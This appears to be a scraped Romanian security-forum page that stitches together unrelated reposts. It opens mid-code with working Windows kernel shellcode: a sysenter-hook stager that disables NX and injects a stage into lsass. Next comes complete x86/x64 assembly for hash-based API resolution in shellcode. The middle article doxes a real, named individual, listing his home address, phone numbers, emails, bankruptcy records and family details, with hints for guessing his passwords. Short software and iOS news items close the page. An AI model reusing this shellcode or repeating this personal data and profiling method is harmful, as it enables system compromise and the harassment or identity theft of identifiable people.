ring0_stager_eip ) + 0] mov [ esp + 36 ], ebx cmp ecx, 0xDEADC0DE // see if we should remove sysenter hook jne ring0_stager_hook push 0x176 // SYSENTER_EIP_MSR pop ecx mov eax, ebx // set sysenter msr to be the real nt!KiFastCallEntry xor edx, edx wrmsr xor eax, eax // clear eax (the syscall number) so we can continue jmp short ring0_stager_finish ring0_stager_hook: // get the original r3 ret address mov esi, [ edx ] // (edx is the ring3 stack pointer) movzx ebx, byte [ esi ] // determine if the return is to a "ret" cmp bx, 0xC3 // only insert ring3 stager hook if we are to return to a single ret jne short ring0_stager_finish // calculate our r3 address in shared memory mov ebx, dword [eax + ( ring0_stager_data - ring0_stager_eip ) + 8] lea ebx, [ ebx + ring3_start - ring0_stager_start ] mov [ edx ], ebx // patch in our r3 stage as the r3 return address mov eax, 0x80000001 cpuid // detect if NX is present (clobbers eax,ebx,ecx,edx)... and edx, 0x00100000 // bit 20 is the NX bit jz short ring0_stager_finish // modify the correct PTE to make our ring3 stager executable mov edx, 0xC03FFF00 // we can default to this for now add edx, 4 and dword [ edx ], 0x7FFFFFFF // clear the NX bit ring0_stager_finish: popad // restore registers popfd // restore flags ret // return to real nt!KiFastCallEntry ring0_stager_data: dd 0xFFFFFFFF // saved nt!KiFastCallEntry dd 0xFFDF0400 // kernel memory address of stager dd 0x7FFE0400 // shared user memory address of stager User Mode Staging We now have our user mode stager executing in every thread in the system that issues a system call which returns to a single RET instruction. We examine the file path held in the Process Environment Block (PEB) of the current process to see if we are executing in a process which should be running with SYSTEM privileges. If we are not running in such a process the user mode stager will simply return, resuming the current threads execution correctly. If we are executing in a privileged process we proceed to issue a special system call in order to instruct the kernel mode stager to remove the sysenter hook. We then execute the user mode payload. ring3_start: pushad push byte 0x30 pop eax cdq // zero edx mov ebx, [ fs : eax ] // get the PEB cmp [ ebx + 0xC ], edx jz ring3_finish mov eax, [ ebx + 0x10 ] // get pointer to the ProcessParameters mov eax, [ eax + 0x3C ] // get the current processes ImagePathName // advance past '*:\windows\system32\' add eax, byte 0x28 // (we assume this as we want a system process). // compute a simple hash of the name (skapes technique). mov ecx, [ eax ] // get first 2 wide chars of name 'l\x00s\x00' add ecx, [ eax + 0x3 ] // and add '\x00a\x00s' cmp ecx, 'lass' // check the hash, default to hash('lsass.exe') // if we are not in the correct process, return to real caller. jne ring3_finish // otherwise we first remove our ring0 sysenter hook. call ring3_cleanup // and then call the real ring3 payload. call ring3_stager // should the payload return we can resume this thread correctly. jmp ring3_finish ring3_cleanup: mov ecx, 0xDEADC0DE // set the magic value for ecx mov edx, esp // save our esp in edx for sysenter sysenter // now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller). ring3_finish: popad ret // return to the original system calls caller ring3_stager: // ...ring3 payload here... ret Mitigation's Several mitigation's could be made in the kernel to make this type of shellcode unviable, although once arbitrary code execution has been gained mitigation's usually act more as an obstacle rather then being truly preventative. Both the Page Directories and Page Tables could have some form of ASLR employed so as determining Page Table Entries would be non trivial. This would help ensure DEP could not be circumvented when running the user mode stager. However, as the physical address of the page directory is held in the CR3 register it should be possible to resolve it to a virtual address programmatically. The kernel mode mapping of SharedUserData could be marked as not executable, removing the location where the kernel stager goes resident. However the respective PTE could still be modified to overcome this. Furthermore the entire HAL memory region should be subject to ASLR so as predetermined addresses cannot be chosen by the attacker. The kernel mode mapping of SharedUserData could not be mapped across all process address spaces, instead a separate user mode only mapping could be present for each processes SharedUserData region and mapped back into kernel memory only if needed. This could prevent the user mode stager from being 'injected' into each user mode process. Download http://www.harmonysecurity.com/files/win32_kernel_shellcode.asm Sursa: Harmony Security : Blog

Calling API Functions Introduction An alternative approach for position independent code, such as shellcode, to call Windows API functions is shown below. Their are all ready many existing methods available, typically relying on parsing either the Import Address Table (IAT) or Export Address Table (EAT) of a specific module in order to locate the address of a required function. Some methods use a variation of the above where the kernel32 modules EAT (or a modules IAT entry referencing kernel32) is parsed in order to locate the functions LoadLibraryA and GetProcAddress and these two functions are then used to resolve the remaining function addresses (as well as loading in any modules not all ready present in the processes address space). If relying on GetProcAddress to resolve functions, the ASCII names of the functions must also be available, increasing the shellcodes size considerably. It is therefore common to use a hashing technique, typically based off the assembly rotate (ROR/ROL) instructions, in order to avoid this problem and create a more optimized solution. The 2003 paper 'Understanding Windows Shellcode' by Skape[1] is an excellent read to understand the various techniques fully. A good example of a well optimized shellcode is SkyLined's w32-bind-ngs-shellcode[2]. An Alternative Approach Another way to resolve function addresses is to use a hash combined of both the desired function name and its module name. The entire list of modules loaded in a process can be iterated over, calculating the respective hash value for each exported function and comparing it to that of the desired hash we are searching for. Once located we can proceed to resolve the functions address. Further more, we can wrap this functionality in a function which will act as a proxy, allowing the caller to indirectly call the desired API function. A pseudo x86 code example of using this technique is shown below on the left and for comparison a more traditional approach of achieving the same is shown on the right. push param2 // push the second parameter push param1 // push the first parameter push hash // push the hash of the function+module call api_call // resolve and indirectly call the desired function push hash // push the hash of the function + module push module_address // push the address of the module call resolve_api_address // resolve the desired function push param2 // push the second parameter push param1 // push the first parameter call api_address // directly call the desired function We can see from the above that their are some advantages, namely it takes only one call to both resolve and call any API function. We also do not need to keep track of any modules base addresses. All the source code shown below can be downloaded from this zip file CallingAPIFunctions.zip. Also included in the zip are the x86 and x64 versions of the eggtest application used to run and aid debugging of shellcode. Implementation – Win32 x86 Listed below is a 137 byte implementation of the technique described above. This implementation works on all versions of 32-bit Windows (Windows 7, 2008, Vista, 2003, XP, 2000, NT4). It is implemented as a function called 'api_call'. Its parameters are the hash value of the desired API function to call as well as all the desired API functions parameters. It returns the result of indirectly calling the desired API function. The stdcall calling convention (Used by all Win32 API functions) is honored in that the EAX, ECX and EDX registers are expected to be clobbered while the remaining registers will not be clobbered. [BITS 32] api_call: pushad // We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp // Create a new stack frame xor edx, edx // Zero EDX mov edx, [fs:edx+48] // Get a pointer to the PEB mov edx, [edx+12] // Get PEB->Ldr mov edx, [edx+20] // Get the first module from the InMemoryOrder module list next_mod: mov esi, [edx+40] // Get pointer to modules name (unicode string) movzx ecx, word [edx+38] // Set ECX to the length we want to check xor edi, edi // Clear EDI which will store the hash of the module name loop_modname: xor eax, eax // Clear EAX lodsb // Read in the next byte of the name cmp al, 'a' // Some versions of Windows use lower case module names jl not_lowercase sub al, 0x20 // If so normalise to uppercase not_lowercase: ror edi, 13 // Rotate right our hash value add edi, eax // Add the next byte of the name loop loop_modname // Loop untill we have read enough // We now have the module hash computed push edx // Save the current position in the module list for later push edi // Save the current module hash for later // Proceed to itterate the export address table, mov edx, [edx+16] // Get this modules base address mov eax, [edx+60] // Get PE header add eax, edx // Add the modules base address mov eax, [eax+120] // Get export tables RVA test eax, eax // Test if no export address table is present jz get_next_mod1 // If no EAT present, process the next module add eax, edx // Add the modules base address push eax // Save the current modules EAT mov ecx, [eax+24] // Get the number of function names mov ebx, [eax+32] // Get the rva of the function names add ebx, edx // Add the modules base address // Computing the module hash + function hash get_next_func: jecxz get_next_mod // When we reach the start of the EAT (we search backwards), process the next module dec ecx // Decrement the function name counter mov esi, [ebx+ecx*4] // Get rva of next module name add esi, edx // Add the modules base address xor edi, edi // Clear EDI which will store the hash of the function name // And compare it to the one we want loop_funcname: xor eax, eax // Clear EAX lodsb // Read in the next byte of the ASCII function name ror edi, 13 // Rotate right our hash value add edi, eax // Add the next byte of the name cmp al, ah // Compare AL (the next byte from the name) to AH (null) jne loop_funcname // If we have not reached the null terminator, continue add edi, [ebp-8] // Add the current module hash to the function hash cmp edi, [ebp+36] // Compare the hash to the one we are searchnig for jnz get_next_func // Go compute the next function hash if we have not found it // If found, fix up stack, call the function and then value else compute the next one... pop eax // Restore the current modules EAT mov ebx, [eax+36] // Get the ordinal table rva add ebx, edx // Add the modules base address mov cx, [ebx+2*ecx] // Get the desired functions ordinal mov ebx, [eax+28] // Get the function addresses table rva add ebx, edx // Add the modules base address mov eax, [ebx+4*ecx] // Get the desired functions RVA add eax, edx // Add the modules base address to get the functions actual VA // We now fix up the stack and perform the call to the desired function... finish: mov [esp+36], eax // Overwrite the old EAX value with the desired api address for the upcoming popad pop ebx // Clear off the current modules hash pop ebx // Clear off the current position in the module list popad // Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered pop ecx // Pop off the origional return address our caller will have pushed pop edx // Pop off the hash value our caller will have pushed push ecx // Push back the correct return value jmp eax // Jump into the required function // We now automagically return to the correct caller... get_next_mod: pop eax // Pop off the current (now the previous) modules EAT get_next_mod1: pop edi // Pop off the current (now the previous) modules hash pop edx // Restore our position in the module list mov edx, [edx] // Get the next module jmp short next_mod // Process this module Example - Win32 x86 Using the implementation given above (and assuming it has been saved to a file called 'x86_api_call.asm'), we can build a simple example which will execute the calc program and then terminate the process. [BITS 32] [ORG 0] cld // clear the direction flag call start // call start, this pushes the address of 'api_call' onto the stack delta: %include "./x86_api_call.asm" start: pop ebp // pop off the address of 'api_call' for calling later push byte +1 // push the command show parameter lea eax, [ebp+command-delta] // calculate an address to the command line push eax // push the command line parameter push 0x876F8B31 // push the hash value for WinExec call ebp // kernel32.dll!WinExec( &command, SW_NORMAL ) push byte 0 // push the desired exit code parameter push 0x56A2B5F0 // push the hash value for ExitProcess call ebp // call kernel32.dll!ExitProcess( 0 ) command: db "calc.exe", 0 We can build the above example using the NASM assembler[4] with the command: >nasm -f bin -O3 -o x86_example.bin x86_example.asm We can run the example with the eggtest (included in zip file) program: >eggtest_x86.exe x86_example.bin Implementation - Win64 x64 We can of course use the same technique on 64bit Windows. Listed below is a 192 byte implementation of the technique described above for the x64 architecture. As before, it is implemented as a function called 'api_call'. The Win64 API use quite a different calling convention[3] to that of the Win32 API. The first four parameters to any function are passed in via the registers RCX, RDX, R8 and R9 respectively, with any remaining parameters being pushed onto the stack (Their are exception to this convention for floating point parameters). Another notable difference when coding for Win64 is that the Process Environment Block (PEB) must be retrieved from gs:96 as opposed to fs:48 on Win32. The desired functions hash value is passed in via register R10 in order to allow the registers RCX, RDX, R8 and R9 to be used for the desired function parameters. We can note that the hash values used do not need to be changed between architectures. [BITS 64] api_call: push r9 // Save the 4th parameter push r8 // Save the 3rd parameter push rdx // Save the 2nd parameter push rcx // Save the 1st parameter push rsi // Save RSI xor rdx, rdx // Zero rdx mov rdx, [gs:rdx+96] // Get a pointer to the PEB mov rdx, [rdx+24] // Get PEB->Ldr mov rdx, [rdx+32] // Get the first module from the InMemoryOrder module list next_mod: mov rsi, [rdx+80] // Get pointer to modules name (unicode string) movzx rcx, word [rdx+74] // Set rcx to the length we want to check xor r9, r9 // Clear r9 which will store the hash of the module name loop_modname: xor rax, rax // Clear rax lodsb // Read in the next byte of the name cmp al, 'a' // Some versions of Windows use lower case module names jl not_lowercase sub al, 0x20 // If so normalise to uppercase not_lowercase: ror r9d, 13 // Rotate right our hash value add r9d, eax // Add the next byte of the name loop loop_modname // Loop untill we have read enough // We now have the module hash computed push rdx // Save the current position in the module list for later push r9 // Save the current module hash for later // Proceed to itterate the export address table, mov rdx, [rdx+32] // Get this modules base address mov eax, dword [rdx+60] // Get PE header add rax, rdx // Add the modules base address mov eax, dword [rax+136] // Get export tables RVA test rax, rax // Test if no export address table is present jz get_next_mod1 // If no EAT present, process the next module add rax, rdx // Add the modules base address push rax // Save the current modules EAT mov ecx, dword [rax+24] // Get the number of function names mov r8d, dword [rax+32] // Get the rva of the function names add r8, rdx // Add the modules base address // Computing the module hash + function hash get_next_func: jrcxz get_next_mod // When we reach the start of the EAT (we search backwards), process the next module dec rcx // Decrement the function name counter mov esi, dword [r8+rcx*4]// Get rva of next module name add rsi, rdx // Add the modules base address xor r9, r9 // Clear r9 which will store the hash of the function name // And compare it to the one we want loop_funcname: xor rax, rax // Clear rax lodsb // Read in the next byte of the ASCII function name ror r9d, 13 // Rotate right our hash value add r9d, eax // Add the next byte of the name cmp al, ah // Compare AL (the next byte from the name) to AH (null) jne loop_funcname // If we have not reached the null terminator, continue add r9, [rsp+8] // Add the current module hash to the function hash cmp r9d, r10d // Compare the hash to the one we are searchnig for jnz get_next_func // Go compute the next function hash if we have not found it // If found, fix up stack, call the function and then value else compute the next one... pop rax // Restore the current modules EAT mov r8d, dword [rax+36] // Get the ordinal table rva add r8, rdx // Add the modules base address mov cx, [r8+2*rcx] // Get the desired functions ordinal mov r8d, dword [rax+28] // Get the function addresses table rva add r8, rdx // Add the modules base address mov eax, dword [r8+4*rcx]// Get the desired functions RVA add rax, rdx // Add the modules base address to get the functions actual VA // We now fix up the stack and perform the call to the drsired function... finish: pop r8 // Clear off the current modules hash pop r8 // Clear off the current position in the module list pop rsi // Restore RSI pop rcx // Restore the 1st parameter pop rdx // Restore the 2nd parameter pop r8 // Restore the 3rd parameter pop r9 // Restore the 4th parameter pop r10 // pop off the return address sub rsp, 32 // reserve space for the four register params (4 * sizeof(QWORD) = 32) // It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). push r10 // push back the return address jmp rax // Jump into the required function // We now automagically return to the correct caller... get_next_mod: // pop rax // Pop off the current (now the previous) modules EAT get_next_mod1: pop r9 // Pop off the current (now the previous) modules hash pop rdx // Restore our position in the module list mov rdx, [rdx] // Get the next module jmp next_mod // Process this module Example - Win64 x64 Using the x64 implementation given above (and assuming it has been saved to a file called 'x64_api_call.asm'), we can build another simple example which will execute the calc program and then terminate the process. [BITS 64] [ORG 0] cld // clear the direction flag and rsp, 0xFFFFFFFFFFFFFFF0 // Ensure RSP is 16 byte aligned call start // call start, this pushes the address of 'api_call' onto the stack delta: %include "./x64_api_call.asm" start: pop rbp // pop off the address of 'api_call' for calling later mov rdx, 1 // param 2 is the command show parameter lea rcx, [rbp+command-delta] // param 1 is the address to the command line mov r10d, 0x876F8B31 // R10 = the hash value for WinExec call rbp // WinExec( &command, 1 ); mov rcx, 0 // set the exit function parameter mov r10d, 0x6F721347 // R10 = the hash value for RtlExitUserThread call rbp // call ntdll.dll!RtlExitUserThread( 0 ) command: db "calc.exe", 0 We can build the above example using the NASM assembler with the command: >nasm -f bin -O3 -o x64_example.bin x64_example.asm We can run the example with the eggtest (included in zip file) program: >eggtest_x64.exe x64_example.bin Forwarded Exports Modules may contain entries in their EAT which is actually a forwarded entry[5]. This means that instead of a modules export resolving to a function within that module, this export is instead intended to resolve to a function within another module. For example on Windows Vista, 2008 and 7 the export kernel32.dll!ExitThread is a forwarded export that points to ntdll.dll!RtlExitUserThread. This is achieved by storing the ASCII module name and function name that the forwarded export wishes to point to in the respective EAT entry (instead of an RVA). I am unaware of any shellcode implementations that attempt to resolve forwarded exports correctly (unless using kernel32.dll!GetProcAddress) and the implementation given above does not resolve forwarded exports either. It gets awkward quickly as you must first recognize that the export is a forwarded one, proceed to use LoadLibraryA to load the forwarded module (in order to retrieve its base address, and load it into the processes address space if it is not all ready present) and then GetProcAddress to resolve the forwarded function based off the ASCII function name given. For typical shellcodes the only function required which is a forwarded export is ExitThread as mentioned above. A workaround for this problem is to check at run time the current Windows platform and call the appropriate function to avoid calling a forwarded export as shown in the Win32 snippet below: exitfunk: mov ebx, 0x0A2A1DE0 // The EXITFUNK as patched in by the user... push 0x9DBD95A6 // hash( "kernel32.dll", "GetVersion" ) call ebp // GetVersion(); (AL will = major version and AH will = minor version) cmp al, byte 6 // If we are not running on Windows Vista, 2008 or 7 jl short goodbye // Then just call the exit function... cmp bl, 0xE0 // If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne short goodbye mov ebx, 0x6F721347 // Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: // We now perform the actual call to the exit function push byte 0 // push the exit function parameter push ebx // push the hash of the exit function call ebp // call EXITFUNK( 0 ); Hash Collisions An obvious concern when using hash values in the manner described here, is the occurrence of collisions between the hash of the function you are searching for and an arbitrary function in an arbitrary module which computes to the same hash value. To help determine the possibility of this, a simple python script can be used to scan all modules on a system, computing their exported functions hashes and detecting if a collision occurs against any predefined functions (e.g. common functions we might need to use such as kernel32.dll!WinExec or ws2_32!recv). The python script is included in the zip file (see start of this post) and uses the pefile package[6] to process a modules exports. This script has been run on multiple systems (Windows 7 RC1, 2008 SP1, Vista SP2, 2003 SP2, XP SP3, 2000 SP4 and NT4 SP6a), processing a total of 1,864,417 functions across 35,178 modules and detected no collisions against the functions defined (Please see the python script for more details). Metasploit Integration The majority of the Metasploit[7] x86 Windows payloads have been rewritten using the techniques presented here in order to bring Windows 7 and backwards compatibility to the stagers, stages and singles as well as considerable size reductions for the stagers and stages. Work on x64 payloads is under way. References [1] http://hick.org/code/skape/papers/win32-shellcode.pdf [2] w32-bind-ngs-shellcode - 211 byte null-free 32-bit Windows port-binding shellcode (all OS/SPs) - Google Project Hosting [3] Calling Convention [4] The Netwide Assembler | Download The Netwide Assembler software for free at SourceForge.net [5] Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format, Part 2 [6] pefile - pefile is a Python module to read and work with PE (Portable Executable) files - Google Project Hosting [7] Metasploit Framework Penetration Testing Software | Metasploit Project Sursa: Harmony Security : Blog

Pare sa aiba probleme psihice. De remarcat lenjeria de pat roz.

Invasion of Privacy Un articol care poate va da putin de gandit, legat de ce informatii oferiti pe Internet despre voi. UPDATE (1/12/2011): I received an email from Steve regarding this post. He sincerely apologized for his actions and realized now that what he did was wrong and simply asked that I modify the post to protect the identities of his family. I felt that this was a fair request, considering that his family had nothing to do with what Steve did and it doesn’t jeopardize the impact of the article. So, if you’re wondering why you’re seeing all the “[withheld]“‘s, that’s why! PS – Yes, I realize the names are still shown in the images, but they’re not indexed by Google. I figured I’d point this out before I had 20,000 comments informing me of it. END OF UPDATE DISCLAIMER: This is ABSOLUTELY for informational purposes ONLY. attackvector.org nor I will be held responsible for how you choose to use the information that I post on my blog. This individual, though he is a douche for sending spam, is a real person with a real life. By misusing the information found here, you have the power to potentially destroy someones real life. There’s a fine line between a legal hack and a felony. Information gathering is not illegal so long as it’s obtained through legal means. Using the information, however, is quite another story. UPDATE: Because of something that one of my readers brought up, I want to clarify. The email that I received was not the run of the mill malware/spambot/whatever style email. The email was coming from his email address, using his business’s name, and advertising his business. I would have never posted this had I had any doubt that this may not have actually been sent, by him, in some fashion. END OF DISCLAIMER. I use spammers and pedophiles as test subjects when I’m working on something. This is mostly because it’s unlikely that they would go to the authorities and point the finger at me, knowing that I could easily turn around and say something to the effect of, “Well, yes I did pwn his box.. but you should have seen all the child porn I found on it.” owned x 2. I happened to receive a piece of spam at the exact moment as I was going to start a post about privacy and anonyminity on the internet. I will consider this to be a sign from God that this dude needed to be set straight. Okay, maybe not. I’m not sure what the bible says about spam.. but if I were God, it would be into the pits of hell for them. So, since I cannot cast people into eternal suffering in a firey pit, I will have to settle for second best. Pwnage! Whats even better, none of what I’m about to do is illegal. It’s a serious, serious invasion of privacy, and you definitely don’t want it to happen to you, but all of it can be harvested through public record, social networks, forum posts, etc etc etc. First, lets take a look at the email that I received. ..snip.. Received: from unknown (HELO p3pismtp01-017.prod.phx3.secureserver.net) ([10.6.12.17]) (envelope-sender ) by p3plsmtp09-04.prod.phx3.secureserver.net (qmail-1.03) with SMTP for ; 7 May 2010 01:05:53 -0000 X-IronPort-Anti-Spam-Result: AjYCAOP/4kvYI8QXnGdsb2JhbACeChUBAQEBAQgLCAkRIrxZgmCCMwSDQQ Received: from server299.com ([216.35.196.23]) by p3pismtp01-017.prod.phx3.secureserver.net with ESMTP; 06 May 2010 17:58:47 -0700 Received: (qmail 10509 invoked by uid 3287); 7 May 2010 00:58:46 -0000 Received: from 67.185.122.64 (SquirrelMail authenticated user steve) by www.barteritemsfortrade.com with HTTP; ..snip.. Ok, so, his email address is steve@barteritemsfortrade.com.. he’s sending email through server299.com.. and his real IP address is 67.185.122.64. All we really need is his email address and his IP. Lets see what we can find. Non-authoritative answer: 64.122.185.67.in-addr.arpa name = c-67-185-122-64.hsd1.wa.comcast.net. Now we know that he’s connecting from Washington (wa.comcast.net). Lets see what Geo IP location says. I use this service, but there are many others. I’ve also written a few tools to do this as well, but we’re going to use what the average Joe has access to. Just put the IP address in the box and hit “search”. Here’s what we find. Region: Washington City: Spokane Postal code: 99205 So, we’re narrowing it down.. we now know that it’s Spokane, Washington. Now we’re going to take a look at his email address. First, obviously, just google the email address. This will bring up information for virtually anything that the person has ever used their email on. Forums, social networks, etc. In this case, however, nothing came up on google. We must dig deeper. Enter, whois! BIZ TWO, LLC PO Box 8421 Spokane, Washington 99203 United States Biz two? Does that mean there is a Biz One and a Biz Three, perhaps? Also, he’s using a PO Box.. blah. ..snip.. Administrative Contact: Nicholas, Steve steve@bestimpressionz.com ..snip.. (509) 283-7030 Fax — (509) 456-3813 ..snip.. Jackpot! We now have a last name and a phone number. We also have an additional email address/domain. Administrative Contact: Your Logo Here snicho@juno.com 139 west 30th Avenue Spokane, WA 99203 US 509-456-3813 fax: 509-456-3813 Hmm.. a real address.. no PO box on this domain. Is that an office? A house? Is it his house? I can assume that ‘snicho’ is short for ‘steve nicholas’, and it’s the administrative contact, which means he owns the domain.. so the address has something to do with him. Enter.. Google Maps. (If you’re wonder why it says “140 west 30th” and not “139 west 30th”, it’s because I slid the camera down a bit and Google tried to be helpful by changing the address) Well, it’s definitely not an office building, so at this point I’m going to assume that it’s his house until I find out differently. We can further verify this by googling his name + city + state. That address looks rather familiar… oh yeah, it’s the address that was associated with his domain. We can be virtually certain at this point that that is his real address and house. Lets see who else lives in the house with him – just google the phone number listed. Ok, so, [withheld] has the same last name as Steve, so I think we can safely say that this is his wife. We’ll come back to her later. Lets see what else we can find about Steve.. I’m really starting to feel like family at this point. Back when I googled his name + city + state, I noticed that below the address result, there was a LinkedIn page.. lets check that out. Ok, so there’s all sorts of useful information.. but I found another email address.. steve.nicholas@itex.net Not often do I meet someone with as many email addresses as me.. lol. So, back up to the top, we google for steve.nicholas@itex.net. Some interesting stuff, but nothing really useful for my purposes. Lets check out Facebook and see if he’s a social butterfly. I log in and “search for friends” and enter his email address(es). His account is registered with the itex.net email address. He doesn’t have his Facebook stuff set to private, so he’s kind of letting it all hang out. Thanks, Steve! Yawn. The only thing interesting there, is that we’ve now definitely verified that that address is correct and that his wife’s name is definitely [withheld]. Maybe her page is more interesting.. lets look Note: Passwords.. by building a profile of someone, you begin to get a feel of who they really are. I’m willing to bet that at least one of Steve’s passwords has something to do with fishing, trout, or cutthroats (type of trout – according to his facebook page). [withheld]‘s Facebook: I teach 7th & 8th graders at Salk Middle School in Spokane WA. I married Steve 27 years ago and we have 2 daughters, [withheld] and [withheld]. [withheld] married [withheld (both first & last name)] 2 years ago and they are expecting their first child in March. [withheld] is an attorney and [withheld] is a special education teacher. [withheld] is living in Las Vegas where she teaches special education to preschoolers and kindergarten. We have an awesome family!!!! Here’s something to take a mental note of. Women are generally more open about their personal lives and love to share with others. In one paragraph, we learn that she teaches at Salk Middle School, they’ve been married for 27 years, they have 2 daughters, [withheld] and [withheld], [withheld] is married to [withheld (both first & last name)] (note – this probably means that [withheld] is no longer [withheld] Nicholas, she’s probably [withheld (both first & last name)]). [withheld] lives in Vegas. How ever would we find out more information about [withheld] and [withheld]? Oh yeah, friends lists. If the parents have Facebook, the kids most certainly have Facebook.. and barring any family drama, they’ll all be on each others friends lists. And, of course, I’m right.. found [withheld], [withheld], and [withheld]. Also, going through her wall posts gave up some information. They’re new grandparents.. their grandaughter [withheld] was born on March 15th.. this was [withheld] and [withheld]‘s daughter. Now, lets see what Intelius says about [withheld] (note – I skipped Steve on Intelius because his entry is all screwed up.) Now we have ages, too. It’s interesting that there’s a “Ralph Steve Nicholas” listed, who has the same age as the other two Steve’s listed. Could Steve’s real name be Ralph?? Ok, anyway, lets see what I can find out about their house. Just about every county in the country allows you to view property tax records on the internet. I googled “spokane washington property tax records”. What you’re looking for is like, the assessor’s home page then just punch in the address and you can find a wealth of information. What this record tells us, is that [withheld] actually owns the home.. Steve isn’t even listed. She’s also the sole person listed paying the property taxes. Interesting.. I wonder why? Also, further down on the report, there’s two documents. A quit claim deed, and a statutory warranty deed. A warranty deed is issued in some states when a house is sold. It protects the buyer from having third parties come after them for unpaid debts and whatever. So, it appears as though they bought the house in 2001 for $110,000? Seems awfully low. Now, lets look at the quit claim deed. First thing I notice. R Steve Nicholas is listed as “Husband of Grantee” I think Steve’s real name is Ralph. lol. This is interesting.. quit claim deeds are used after a divorce to switch the owner of a property from one party to another at the county level. But they’re still married. The other times that I’ve seen quit claim deeds used is when people encounter serious financial trouble and need to file bankruptcy. They file independently and deed the house to their spouse. Lets find out! I am not going to tell you what service I use to obtain this information because I don’t want it to get abused and taken away. Also, I don’t think everyone should have access to it. SO. 91-40727 Ralph Steven Nicholas and [withheld (first & middle name)] Nicholas Case type: bk Chapter: 7 Asset: No Vol: v Judge: John C. Minahan Jr. Date filed: 05/08/1991 Date of last filing: 02/11/1993 Date terminated: 02/11/1993 Ok, so they did a joint bankruptcy in ’91 and it was discharged in ’93. I also have a list of their creditors.. no wonder they filed bankruptcy. Ouch. One other piece of information that this offers, is previous addresses and the last 4 digits of their social security numbers. Keep in mind, a lot of people use the last 4 digits of their social for pin numbers.. because most pin numbers are limited to 4 digits. Stupid. UPDATE: I’ve decided to X out the social security numbers because this post is starting to receive a ton of traffic and I’m not sure I want everyone visiting it to have this information. My intention of this article is not to make it easy to steal this guys identity.. it’s to point out a vulnerability. If you really want to find his social security number, lets just say.. it’s available via the internet. Debtor Ralph Steven Nicholas 6747 Crooked Creek Dr. Lincoln, NE 68516 SSN / ITIN: xxx-xx-xxxx Debtor [withheld (first & middle name)] Nicholas 6747 Crooked Creek Dr. Lincoln, NE 68516 SSN / ITIN: xxx-xx-xxxx Here’s something to really think about.. I was able to obtain all of the information in this post for 16 cents and by just using an email and IP address from a piece of spam. Family members, ages, schools, anniversary dates, marriage lengths, hobbies, interests, phone numbers, addresses, property records, property taxes, pictures of their house, pictures of them, pictures of their children and grandchildren, deeds on their house, bankruptcies, employment history, previous addresses, previous creditors, and bits of social security numbers. I’m pretty sure I’d be able to fake my way through one of those password reset forms.. you know, where you set up a “secret question” asking what your dogs name was, or where you went to school? Beyond that, I’m fairly confident that at this point, if I were to call his bank and pretend to be him, I could easily pass when they asked me personal questions. In closing.. you really need to pay close attention to what you’re posting on the internet. If I were a douche, I could ruin this guys life using this information. There are a lot of douches out there that are doing this type of stuff right now. Given an email address, phone number, or whatever, they build profiles on people which can be used to exploit them and steal identities. The other thing that I’ve actually fallen victim to, is the speed of Google’s spiders and the fact that they index Craigslist. Lets say you run a business.. Catholic Charities R Us and in this post, you include an email address, phone number, something. Lets say you also make a post, days, weeks, whatever, later looking for whores, or something. Both of those posts will come up when Googling for your phone number. Also, consider what you’re sending in this email. What if this guy had sent me an email trying to extort me, threaten me, whatever? I could turn this over to the authorities and they’d have their work cut out for them. Not to try to scare people too much, but think about single women in the dating scene. They make a post somewhere with their email address and someone comes across it and is able to determine the same amount of information about them as what I did above? What if that person was more interested in something other than identity theft? I think you get the idea.. essentially.. guard your personal information with your life. Never post your phone number on the internet (unless you’re using a proxy number, which is what I do), and make sure no personal information is associated with your email address before you go firing off emails to strangers. Sursa: Invasion of Privacy. | Attack Vector

COMODO Internet Security 5 Pro – un an licenta GRATUITA By Radu FaraVirusi(com) on May 5, 2011 COMODO Internet Security 5 este un produs complet de securitate, care exceleaza la capitolul Firewall si protectie proactiva, blocand mereu 100% virusii in testele av-test.org. Versiunea Pro aduce in plus cateva elemente, fiind $49.99/an: Remote Security & System Support $500 Virus-Free Guarantee* $15,000 Identity Protection Coverage* Acum il puteti avea GRATUIT timp de un an printr-o promotie speciala, accesand link-ul de mai jos: http://download.comodo.com/cis/download/installs/1000/standalone/cispro_1year_installer.exe Sursa: http://www.faravirusi.com/2011/05/05/comodo-internet-security-5-pro-un-an-licenta-gratuita/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Intr-oLumePlinaDeVirusi+%28Intr-o+lume+PLINA+DE+VIRUSI...%29&utm_content=FaceBook

Apple iOS 4.3.3 – gata cu spionajul pe telefoanele iPhone 05 mai 2011 | 15:26 Aurelian Mihai Apple iOS 4.3.3 este gata de download prin serviciul iTunes. Actualizarea remediaz? o problem? grav? legat? de modul în care dispozitivele Apple p?streaz? coordonatele loca?iilor vizitate de utilizatori de-a lungul timpului ?i gestioneaz? baza de date care con?ine toate aceste informa?ii. Dup? ce a stârnit un adev?rat scandal pentru modul grosolan în care compromite intimitatea utilizatorilor, l?sând practic la îndemâna oricui informa?ii pre?ioase despre obiceiurile ?i loca?iile vizitate de posesorii telefoanelor iPhone ?i teblete iPad 3G, Apple a implementat în sfâr?it un mecanism de protec?ie a arhivei care con?ine aceste informa?ii, bazat pe un sistem de criptare care împiedic? extragerea informa?iilor de c?tre persoane neautorizate. Mai mult decât atât, fi?ierul consolidated.db nu mai este copiat în calculator la fiecare sincronizare f?cut? prin iTunes, reducând ?i mai mult riscul de a l?sa în urm? informa?ii pre?ioase, stocate pe harddisk-ul unui calculator la care pot avea acces ?i alte persoare. Dac? alegem s? dezactiv?m complet func?ia Location Services, fi?ierul consolidated.db este ?ters din memoria telefonului, oprind complet înregistrarea de informa?ii care ar putea servi la stabilirea unui itinerariu cu toate loca?iile vizitate în ultima perioad? de posesorul telefonului iPhone sau tableta iPad 3G. Cea mai nou? versiune a sistemului de operare iOS con?ine ?i optimiz?ri pentru îmbun?t??irea autonomiei bateriei, aduse în urma problemelor semnalate de utilizatori înc? de la lansarea iOS 4. Sursa: Apple iOS 4.3.3

